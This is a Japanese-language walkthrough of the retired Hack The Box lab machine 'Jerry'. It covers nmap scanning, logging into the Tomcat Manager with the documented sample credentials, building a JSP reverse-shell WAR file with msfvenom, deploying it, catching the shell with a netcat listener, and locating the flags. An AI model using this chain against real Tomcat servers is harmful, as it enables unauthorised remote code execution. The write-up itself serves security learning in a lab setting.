概要
Hack The Box(以下、HTB)のRetiredチャレンジであるJerryのwriteupです。
環境
HTBの課金環境のPwnboxで実施しています。
Walkthrough
1. nmapで稼働しているサービスを確認する
nmap -Pn -A -T4 <ターゲットのIPアドレス>
8080ポートでApacheのTomcatが稼働していることがわかる
2. ブラウザから8080を確認
画面右に「Manager App」があり、管理者としてログインできそうです。
user:admin、password:adminでログインしてみます。
403 Access Deniedにつながります。
真ん中あたりにusernameやpasswordのサンプルが書いてあります。
これをそのまま使っている可能性が高いです。
For example, to add the manager-gui role to a user named tomcat with a password of s3cret, add the following to the config file listed above.
username:tomca、password:s3cretでログインを試します。
Manager画面にログインできました。
3. リバースシェルの確立
Manager画面からはApplicationのPathを確認でき、下部からディレクトリやWARファイルをDeployできるようです。
3.1 WARファイルの作成
ManagerではWARファイルのデプロイができそうなので、リバースシェルを確立するためのWARファイルを作成します。
作成にはmsfvenomを用います。
msfvenomはmetasploit frameworkの機能の一つでペイロードの作成に用いられます。
https://docs.metasploit.com/docs/using-metasploit/basics/how-to-use-msfvenom.html
以下にペイロード作成のチートシートがありました。
https://github.com/frizb/MSF-Venom-Cheatsheet
WARファイルのペイロード作成のコードを用います。
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<攻撃端末のIP> LPORT=<攻撃端末のポート> -f war > shell.war
3.2 shell.warのDeploy
3.3 リバースシェルの確立
ターミナルを開きnetcatをリッスンモードのポート4444で待ち受けします。
nc -nvlp 4444
ターゲットマシンのシェルに繋がりました。
4. フラグの探索
cdコマンドでC直下まで戻り、dirコマンドでフラグを探します。
cd ..
dir /s user.txt
dir /s root.txt
flagを含むものがないかを確認します。
dir /s flag*
UsersのAdministratorにあるflagsというディレクトリが怪しいので探索します。
2 for the price of 1.txtというテキストファイルがありました。
こちらをtypeコマンドで確認するとuserフラグとrootフラグが入手できます。